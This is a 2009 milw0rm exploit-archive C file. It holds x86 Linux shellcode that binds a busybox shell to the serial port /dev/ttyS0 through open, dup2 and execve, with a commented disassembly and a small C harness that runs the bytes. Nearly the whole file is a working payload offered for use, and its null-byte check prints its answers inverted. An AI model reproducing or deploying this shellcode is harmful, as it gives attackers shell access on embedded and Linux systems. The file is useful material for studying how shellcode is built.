92 lines
No EOL
2.8 KiB
C
92 lines
No EOL
2.8 KiB
C
/*
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General:
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Serial port shell binding, busybox launching shellcode.. yey!
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Specific:
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*really* wish i could tell you what i needed this for.. but meh..
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this will bind a busybox sh shell to /dev/ttyS0, the shellcode
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does not alter the baudrate settings.. 9600 is the default, but its easy enough to cycle though if were
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at a different baud rate.
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...damn how long has it been since i posted one of these?
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happy hunting
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-phar
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@
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stonedcoder
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mdavis .
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@ org
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ioactive
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.
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com
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main:
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31 d2 xor %edx,%edx
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31 c0 xor %eax,%eax
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6a 02 push $0x2 #flags O_RDW
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59 pop %ecx
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66 b8 53 30 mov $0x3053,%ax
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50 push %eax
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68 2f 74 74 79 push $0x7974742f #port device
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68 2f 64 65 76 push $0x7665642f
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89 e3 mov %esp,%ebx
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6a 05 push $0x5
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58 pop %eax
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89 c6 mov %eax,%esi
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cd 80 int $0x80 #open
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89 c6 mov %eax,%esi
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31 c9 xor %ecx,%ecx
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dup2_loop: #set the serial port as our console
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89 f3 mov %esi,%ebx
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6a 3f push $0x3f
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58 pop %eax
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cd 80 int $0x80 #dup2
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41 inc %ecx
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80 f9 03 cmp $0x3,%cl
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75 f3 jne 80483a7 dup2_loop
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66 b8 73 68 mov $0x6873,%ax
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50 push %eax
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89 e1 mov %esp,%ecx
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52 push %edx
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51 push %ecx
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89 e1 mov %esp,%ecx
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52 push %edx
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68 79 62 6f 78 push $0x786f6279 #/bin/busybox
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68 2f 62 75 73 push $0x7375622f
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68 2f 62 69 6e push $0x6e69622f
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89 e3 mov %esp,%ebx
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6a 0b push $0xb
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58 pop %eax
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cd 80 int $0x80 #execve
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*/
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int main() {
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char shellcode[] = {
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"\x31\xd2\x31\xc0\x6a\x02\x59\x66\xb8\x53\x30\x50\x68\x2f\x74\x74"
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"\x79\x68\x2f\x64\x65\x76\x89\xe3\x6a\x05\x58\x89\xc6\xcd\x80\x89"
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"\xc6\x31\xc9\x89\xf3\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf3"
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"\x66\xb8\x73\x68\x50\x89\xe1\x52\x51\x89\xe1\x52\x68\x79\x62\x6f"
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"\x78\x68\x2f\x62\x75\x73\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58"
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"\xcd\x80"};
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char cnull = 0;
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printf("shellcode_size: %u\n", sizeof(shellcode));
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printf("contains nulls: ");
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if(!memmem(shellcode,sizeof(shellcode),&cnull,1)){
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printf("yes\n");
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}else{
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printf("no\n");
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}
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(*(void(*)()) shellcode)();
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}
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// milw0rm.com [2009-04-30]
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